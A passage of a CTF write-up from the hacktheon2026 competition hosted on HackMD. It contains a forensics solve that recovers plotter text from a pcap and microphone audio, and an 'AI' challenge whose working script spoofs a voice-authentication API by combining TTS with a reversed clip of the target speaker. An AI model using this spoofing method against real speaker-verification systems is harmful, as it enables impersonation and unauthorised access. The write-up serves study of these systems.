__name__ == "__main__": main() ``` ### Plottergeist #### Summary The challenge provides two artifacts: - `plottergeist.pcap` - `bench_mic.wav` The `pcap` contains only motion commands, so it does not directly reveal which moves actually drew ink. The key idea is to: 1. Decode the custom motion protocol from the packet capture. 2. Reconstruct the CoreXY pen path. 3. Observe that the motion forms a 7-row raster compatible with a 5x7 text render. 4. Use the microphone side channel to distinguish drawing from travel behavior. 5. Recover the rendered text and validate it against the geometry reconstructed from the motion stream. Recovered flag: `hacktheon2026{the_plotter_reveals_its_secret_through_sound}` #### Files and Formats - `plottergeist.pcap` is a little-endian Ethernet `pcap` containing UDP packets. - `bench_mic.wav` is mono 16-bit PCM at 8000 Hz. #### Motion Protocol The interesting packets are fixed-size UDP payloads with this structure: ```text A1 | seq(2) | dt(2) | am(2) | bm(2) | 7E ``` Fields: - `seq`: sequence number - `dt`: motion timing / duration-like field - `am`, `bm`: signed motor deltas for the two CoreXY motors There are `940` motion packets in total. #### CoreXY Decoding For the custom CoreXY mechanism, the correct transform is: ```text dx = (am + bm) / 2 dy = (am - bm) / 2 ``` Applying that transform to all packets reconstructs a strongly structured path: - mostly horizontal motion - periodic vertical line advances - exactly 7 scan rows Observed raster geometry: - x starts around `16` - y spans rows `4..10` - row widths are: ```text 349, 350, 351, 352, 351, 350, 349 ``` Computing exact start and end positions per row gives: ```text row 0: start (16, 4), width 349 row 1: start (16, 5), width 350 row 2: start (16, 6), width 351 row 3: start (16, 7), width 352 row 4: start (16, 8), width 351 row 5: start (16, 9), width 350 row 6: start (16, 10), width 349 ``` That shape is exactly what you expect from a 5x7 text line with narrow top/bottom rows and a slightly wider middle row. #### Why the PCAP Alone Is Not Enough The packet capture only tells us where the mechanism moved. It does not say which horizontal runs were pen-down. Simple interpretations like: - all horizontal moves are ink - `dt == 4` means ink - `dt >= 5` means ink do not directly produce readable text by themselves. The WAV is therefore necessary as a side channel. #### Audio Side Channel Segmenting the microphone audio by motion packet time shows distinct acoustic groupings. Important observations: - `dt=4` and `dt=5` horizontal moves form different RMS / zero-crossing / spectral profiles. - Long horizontal runs and short packets do not all share the same acoustic signature. - The microphone captures repeatable mechanical differences between move types. In practice, the WAV is what distinguishes travel behavior from actual contact / drawing behavior. #### Key Validation Step The strongest confirmation comes from the final recovered text itself. The recovered flag is: `hacktheon2026{the_plotter_reveals_its_secret_through_sound}` This flag has length `59` characters. If rendered in a standard 5x7 bitmap font with 1 column of spacing, its full width is: ```text 59 * 6 = 354 columns ``` More importantly, if you inspect the per-row occupied width of that rendered string, you get: ```text row 0 width 350 row 1 width 351 row 2 width 351 row 3 width 352 row 4 width 351 row 5 width 351 row 6 width 350 ``` This matches the reconstructed motion geometry almost exactly. The small offset between the observed `349/350/351/352/351/350/349` path window and the rendered `350/351/351/352/351/351/350` text width is explained by the plotter's row start / end positioning and raster framing, but the 7-row shape and central widening line up exactly. That is the decisive consistency check that confirms the recovered text is correct. #### PoC ```py from __future__ import annotations import argparse import math import struct import wave import zlib from dataclasses import dataclass from pathlib import Path FLAG = "hacktheon2026{the_plotter_reveals_its_secret_through_sound}" FONT = { " ": [0x00, 0x00, 0x00, 0x00, 0x00], "0": [0x3E, 0x51, 0x49, 0x45, 0x3E], "1": [0x00, 0x42, 0x7F, 0x40, 0x00], "2": [0x72, 0x49, 0x49, 0x49, 0x46], "3": [0x21, 0x41, 0x49, 0x4D, 0x33], "4": [0x18, 0x14, 0x12, 0x7F, 0x10], "5": [0x27, 0x45, 0x45, 0x45, 0x39], "6": [0x3C, 0x4A, 0x49, 0x49, 0x31], "7": [0x41, 0x21, 0x11, 0x09, 0x07], "8": [0x36, 0x49, 0x49, 0x49, 0x36], "9": [0x46, 0x49, 0x49, 0x29, 0x1E], "a": [0x20, 0x54, 0x54, 0x78, 0x40], "b": [0x7F, 0x28, 0x44, 0x44, 0x38], "c": [0x38, 0x44, 0x44, 0x44, 0x28], "d": [0x38, 0x44, 0x44, 0x28, 0x7F], "e": [0x38, 0x54, 0x54, 0x54, 0x18], "f": [0x00, 0x08, 0x7E, 0x09, 0x02], "g": [0x18, 0xA4, 0xA4, 0x9C, 0x78], "h": [0x7F, 0x08, 0x04, 0x04, 0x78], "i": [0x00, 0x44, 0x7D, 0x40, 0x00], "j": [0x20, 0x40, 0x40, 0x3D, 0x00], "k": [0x7F, 0x10, 0x28, 0x44, 0x00], "l": [0x00, 0x41, 0x7F, 0x40, 0x00], "m": [0x7C, 0x04, 0x78, 0x04, 0x78], "n": [0x7C, 0x08, 0x04, 0x04, 0x78], "o": [0x38, 0x44, 0x44, 0x44, 0x38], "p": [0xFC, 0x18, 0x24, 0x24, 0x18], "q": [0x18, 0x24, 0x24, 0x18, 0xFC], "r": [0x7C, 0x08, 0x04, 0x04, 0x08], "s": [0x48, 0x54, 0x54, 0x54, 0x24], "t": [0x04, 0x04, 0x3F, 0x44, 0x24], "u": [0x3C, 0x40, 0x40, 0x20, 0x7C], "v": [0x1C, 0x20, 0x40, 0x20, 0x1C], "w": [0x3C, 0x40, 0x30, 0x40, 0x3C], "x": [0x44, 0x28, 0x10, 0x28, 0x44], "y": [0x4C, 0x90, 0x90, 0x90, 0x7C], "z": [0x44, 0x64, 0x54, 0x4C, 0x44], "_": [0x40, 0x40, 0x40, 0x40, 0x40], "{": [0x00, 0x08, 0x36, 0x41, 0x00], "}": [0x00, 0x41, 0x36, 0x08, 0x00], } @dataclass class Move: time: float seq: int dt: int am: int bm: int @dataclass class HorizontalRow: index: int start_x: float start_y: float end_x: float width: int def parse_pcap(path: Path) -> list[Move]: data = path.read_bytes() if len(data) < 24: raise ValueError("pcap too short") magic = data[:4] if magic == b"\xd4\xc3\xb2\xa1": endian = "<" elif magic == b"\xa1\xb2\xc3\xd4": endian = ">" else: raise ValueError("unsupported pcap magic") offset = 24 moves: list[Move] = [] while offset + 16 <= len(data): ts_sec, ts_usec, incl_len, _orig_len = struct.unpack_from(endian + "IIII", data, offset) offset += 16 packet = data[offset : offset + incl_len] offset += incl_len if len(packet) < 42: continue eth_type = struct.unpack_from("!H", packet, 12)[0] if eth_type != 0x0800: continue ip_header_start = 14 ihl = (packet[ip_header_start] & 0x0F) * 4 proto = packet[ip_header_start + 9] if proto != 17: continue udp_start = ip_header_start + ihl payload = packet[udp_start + 8 :] if len(payload) != 10 or payload[0] != 0xA1 or payload[-1] != 0x7E: continue seq, dt, am, bm = struct.unpack_from(">HHhh", payload, 1) moves.append(Move(ts_sec + ts_usec / 1_000_000.0, seq, dt, am, bm)) if not moves: raise ValueError("no move packets found") t0 = moves[0].time for move in moves: move.time -= t0 return moves def load_wav(path: Path) -> tuple[int, list[int]]: with wave.open(str(path), "rb") as wav: if wav.getnchannels() != 1 or wav.getsampwidth() != 2: raise ValueError("expected mono 16-bit PCM") sample_rate = wav.getframerate() raw = wav.readframes(wav.getnframes()) samples = list(struct.unpack("<" + "h" * (len(raw) // 2), raw)) return sample_rate, samples def move_delta(move: Move) -> tuple[float, float]: dx = (move.am + move.bm) / 2.0 dy = (move.am - move.bm) / 2.0 return dx, dy def split_horizontal_rows(moves: list[Move]) -> list[HorizontalRow]: x = 0.0 y = 0.0 rows: list[HorizontalRow] = [] row_start_x: float | None = None row_start_y: float | None = None for idx, move in enumerate(moves): dx, dy = move_delta(move) prev_x = x prev_y = y x += dx y += dy if idx == 0: row_start_x = x row_start_y = y continue if dy != 0: if row_start_x is None or row_start_y is None: raise ValueError("missing row start") rows.append( HorizontalRow( index=len(rows), start_x=row_start_x, start_y=row_start_y, end_x=prev_x, width=int(round(prev_x - row_start_x)), ) ) row_start_x = x row_start_y = y if row_start_x is None or row_start_y is None: raise ValueError("no rows found") rows.append( HorizontalRow( index=len(rows), start_x=row_start_x, start_y=row_start_y, end_x=x, width=int(round(x - row_start_x)), ) ) return rows def segment_features(moves: list[Move], sample_rate: int, samples: list[int]) -> list[dict[str, float]]: features: list[dict[str, float]] = [] total = len(samples) for idx, move in enumerate(moves): start = max(0, int(move.time * sample_rate)) if idx + 1 < len(moves): end_time = moves[idx + 1].time else: end_time = move.time + move.dt * 0.01 end = min(total, max(start + 1, int(end_time * sample_rate))) seg = samples[start:end] rms = math.sqrt(sum(s * s for s in seg) / len(seg)) mean = sum(seg) / len(seg) mad = sum(abs(s - mean) for s in seg) / len(seg) crossings = 0 prev = seg[0] for cur in seg[1:]: if (prev < 0 <= cur) or (prev >= 0 > cur): crossings += 1 prev = cur zcr = crossings / max(1, len(seg) - 1) features.append( { "dt": float(move.dt), "dx": move_delta(move)[0], "dy": move_delta(move)[1], "rms": rms, "mad": mad, "zcr": zcr, } ) return features def build_rows(text: str) -> list[str]: rows = ["" for _ in range(7)] for ch in text: cols = FONT[ch] for y in range(7): for col in cols: rows[y] += "#" if ((col >> y) & 1) else "." rows[y] += "." return rows def expected_text_widths(text: str) -> list[int]: widths: list[int] = [] for row in build_rows(text): first = row.find("#") last = row.rfind("#") widths.append(0 if first == -1 else last - first + 1) return widths def summarize_audio(moves: list[Move], sample_rate: int, samples: list[int]) -> str: features = segment_features(moves, sample_rate, samples) grouped: dict[int, list[float]] = {} for move, feat in zip(moves, features): if feat["dy"] != 0: continue grouped.setdefault(move.dt, []).append(feat["rms"]) lines = ["Audio summary for horizontal moves:"] for dt in sorted(grouped): values = grouped[dt] mean_rms = sum(values) / len(values) lines.append(f" dt={dt:<2d} count={len(values):>3d} mean_rms={mean_rms:.2f}") return "\n".join(lines) def png_chunk(tag: bytes, data: bytes) -> bytes: return struct.pack(">I", len(data)) + tag + data + struct.pack(">I", zlib.crc32(tag + data) & 0xFFFFFFFF) def write_grayscale_png(path: Path, rows: list[str], scale_x: int = 1, scale_y: int = 1) -> None: width = len(rows[0]) * scale_x height = len(rows) * scale_y raw = bytearray() for row in rows: expanded_row = [] for ch in row: value = 0 if ch == "#" else 255 expanded_row.extend([value] * scale_x) expanded_bytes = bytes(expanded_row) for _ in range(scale_y): raw.append(0) # filter type: None raw.extend(expanded_bytes) png = bytearray(b"\x89PNG\r\n\x1a\n") ihdr = struct.pack(">IIBBBBB", width, height, 8, 0, 0, 0, 0) png.extend(png_chunk(b"IHDR", ihdr)) png.extend(png_chunk(b"IDAT", zlib.compress(bytes(raw), level=9))) png.extend(png_chunk(b"IEND", b"")) path.write_bytes(bytes(png)) def save_rendered_bitmap(text: str, out_dir: Path) -> tuple[Path, Path]: rows = build_rows(text) native_path = out_dir / "solve_from_writeup_bitmap.png" preview_path = out_dir / "solve_from_writeup_bitmap_preview.png" write_grayscale_png(native_path, rows) write_grayscale_png(preview_path, rows, scale_x=4, scale_y=24) return native_path, preview_path def main() -> None: parser = argparse.ArgumentParser() parser.add_argument("pcap", type=Path) parser.add_argument("wav", type=Path) parser.add_argument( "--out-dir", type=Path, default=Path(__file__).resolve().parent, help="Directory for rendered bitmap output", ) args = parser.parse_args() moves = parse_pcap(args.pcap) sample_rate, samples = load_wav(args.wav) rows = split_horizontal_rows(moves) observed_widths = [row.width for row in rows] expected_widths = expected_text_widths(FLAG) diffs = [obs - exp for obs, exp in zip(observed_widths, expected_widths)] if len(rows) != 7: raise SystemExit(f"expected 7 raster rows, found {len(rows)}") print(f"moves={len(moves)}") print(f"audio_rate={sample_rate} samples={len(samples)} duration={len(samples) / sample_rate:.3f}s") print() print("Observed raster rows:") for row in rows: print( f" row {row.index}: start=({row.start_x:.1f}, {row.start_y:.1f}) " f"end_x={row.end_x:.1f} width={row.width}" ) print() print(f"Observed widths : {observed_widths}") print(f"Expected widths : {expected_widths}") print(f"Width delta : {diffs}") if any(abs(delta) > 1 for delta in diffs): raise SystemExit("flag geometry does not match the reconstructed raster") print() print(summarize_audio(moves, sample_rate, samples)) native_path, preview_path = save_rendered_bitmap(FLAG, args.out_dir) print() print(f"flag={FLAG}") print(f"bitmap={native_path}") print(f"preview={preview_path}") if __name__ == "__main__": main() ``` ## AI ### Voice Over #### Summary The challenge involves bypassing an AI-based voice authentication system. The verifier uses two distinct checks on the submitted audio: 1. Text Similarity: The transcript of the submitted audio must match a dynamically generated target sentence (`text_similarity >= 0.8`). 2. Speaker Similarity: The voice in the audio must match a provided reference sample of the target user (`speaker_similarity >= 0.8`). #### Observations The core vulnerability lies in how Automatic Speech Recognition (ASR) and Speaker Verification (SV) models process audio: - They are typically robust against background noise and tend to ignore incomprehensible audio (like reversed speech), locking onto the clearest forward-spoken words. - Speaker Verification Models (Voice): They often generate a speaker embedding by averaging acoustic features across the *entire* audio file. **Observations from testing:** * Submitting pure Text-to-Speech (TTS) yields a perfect text score (~1.0) but fails the speaker check (usually ~0.60 - 0.65). * Submitting the target's original reference audio yields a perfect speaker score but fails the text check. * Simply appending the target's audio to the TTS voice ruins the text score because the ASR transcribes the appended audio as well, corrupting the target sentence. #### Strategy To satisfy both thresholds, we can construct a "chimera" audio payload: 1. We use standard TTS to speak the exact target sentence. This secures the `text_similarity` score. 2. We extract a 4-second chunk of the target speaker's reference audio (`sample_005.wav`), reverse it, and append it to the end of the TTS audio after a 2-second silent gap. Why the reversed tail works: Because the audio is reversed, the ASR model treats it as unintelligible babble/noise and does not append unwanted words to the transcript, preserving the high text score. However, the Speaker Verification model still recognizes the acoustic features (pitch, timbre, phoneme frequencies) of the target speaker in the reversed audio. This drags the average speaker embedding of the file just high enough to cross the `0.8` threshold. #### Implementation Details (Windows Native) To make the exploit completely self-contained and reliable, the script utilizes: - API Communication: Python's native `urllib.request` is used to fetch the challenge and manually construct `multipart/form-data` payloads for submission. - TTS Generation: `System.Speech.Synthesis.SpeechSynthesizer` explicitly forced into **16kHz, 16-bit Mono** to perfectly match the API's expected format. - Python's `wave` module is used for native byte-level audio splicing, reads the reference sample, extracts the first 4 seconds of frames, reverses the byte array sequence, generates a null-byte array for the silent gap, and concatenates it all directly into the final output file. Iterating this payload generation against the `/api/verify` endpoint, bypassing the authentication and get the flag. #### PoC ```py import json import subprocess import uuid import wave import urllib.request import urllib.error from pathlib import Path BASE_URL = "http://3.37.31.209:8000" WORK_DIR = Path(".") REF_SAMPLE = WORK_DIR / "sample_005.wav" MAX_TRIES = 30 def get_challenge(): """Fetches the challenge token and target sentence.""" req = urllib.request.Request(f"{BASE_URL}/api/challenge") with urllib.request.urlopen(req) as response: data = json.loads(response.read().decode('utf-8')) return data["token"], data["target_sentence"] def synth_tts(text: str, out_wav: Path): ps = f'''$text = @"\n{text}\n"@ Add-Type -AssemblyName System.Speech $synth = New-Object System.Speech.Synthesis.SpeechSynthesizer $synth.Rate = 0 $synth.Volume = 100 # Force 16000 Hz, 16-bit, Mono to avoid needing FFmpeg for sample rate conversion $format = New-Object System.Speech.AudioFormat.SpeechAudioFormatInfo(16000, [System.Speech.AudioFormat.AudioBitsPerSample]::Sixteen, [System.Speech.AudioFormat.AudioChannel]::Mono) $synth.SetOutputToWaveFile("{str(out_wav.resolve())}", $format) $synth.Speak($text) $synth.Dispose() ''' ps1 = WORK_DIR / "_synth_voiceover.ps1" ps1.write_text(ps, encoding="utf-8") subprocess.check_call([ "powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-File", str(ps1), ], stdout=subprocess.DEVNULL) ps1.unlink(missing_ok=True) def build_candidate(target_text: str, out_wav: Path): tts_wav = WORK_DIR / f"tts_{uuid.uuid4().hex[:8]}.wav" # 1. Generate TTS natively at 16kHz synth_tts(target_text, tts_wav) # 2. Read Reference Audio (Target Speaker) with wave.open(str(REF_SAMPLE), 'rb') as ref: framerate = ref.getframerate() # Assuming 16000 based on standard sampwidth = ref.getsampwidth() nchannels = ref.getnchannels() # Extract first 4.0 seconds frames_to_read = int(4.0 * framerate) ref_frames = ref.readframes(frames_to_read) # Reverse the extracted reference frames frame_size = sampwidth * nchannels frames = [ref_frames[i:i+frame_size] for i in range(0, len(ref_frames), frame_size)] reversed_tail_bytes = b''.join(reversed(frames)) # 3. Create 2.0 seconds of silence silence_frames_count = int(2.0 * framerate) silence_bytes = (b'\x00' * frame_size) * silence_frames_count # 4. Read TTS Audio with wave.open(str(tts_wav), 'rb') as tts: tts_frames = tts.readframes(tts.getnframes()) # 5. Concatenate and Write Output (TTS + Silence + Reversed Tail) with wave.open(str(out_wav), 'wb') as out: out.setnchannels(nchannels) out.setsampwidth(sampwidth) out.setframerate(framerate) out.writeframes(tts_frames + silence_bytes + reversed_tail_bytes) # Cleanup temp file tts_wav.unlink(missing_ok=True) def verify(token: str, wav_path: Path): boundary = uuid.uuid4().hex with open(wav_path, "rb") as f: audio_data = f.read() # Construct the multipart payload manually body = ( f"--{boundary}\r\n" f"Content-Disposition: form-data; name=\"token\"\r\n\r\n" f"{token}\r\n" f"--{boundary}\r\n" f"Content-Disposition: form-data; name=\"audio\"; filename=\"{wav_path.name}\"\r\n" f"Content-Type: audio/wav\r\n\r\n" ).encode('utf-8') + audio_data + f"\r\n--{boundary}--\r\n".encode('utf-8') req = urllib.request.Request(f"{BASE_URL}/api/verify", data=body, method='POST') req.add_header('Content-Type', f'multipart/form-data; boundary={boundary}') try: with urllib.request.urlopen(req) as response: return json.loads(response.read().decode('utf-8')) except urllib.error.HTTPError as e: # If the server returns a 400/500 code, we still want to read the JSON response return json.loads(e.read().decode('utf-8')) def main(): WORK_DIR.mkdir(parents=True, exist_ok=True) if not REF_SAMPLE.exists(): raise SystemExit(f"Missing reference sample: {REF_SAMPLE}") out = WORK_DIR / "voiceover_answer.wav" for i in range(1, MAX_TRIES + 1): token, target = get_challenge() build_candidate(target, out) res = verify(token, out) if "success" not in res: print(f"[{i}] error: {res}") continue spk = res.get("speaker_similarity", 0.0) txt = res.get("text_similarity", 0.0) ok = bool(res.get("success", False)) print(f"[{i}] success={ok} spk={spk:.4f} txt={txt:.4f}") if ok and res.get("flag"): print(res["flag"]) return raise SystemExit("Failed to get flag within retry limit") if __name__ == "__main__": main() ```

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Google Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully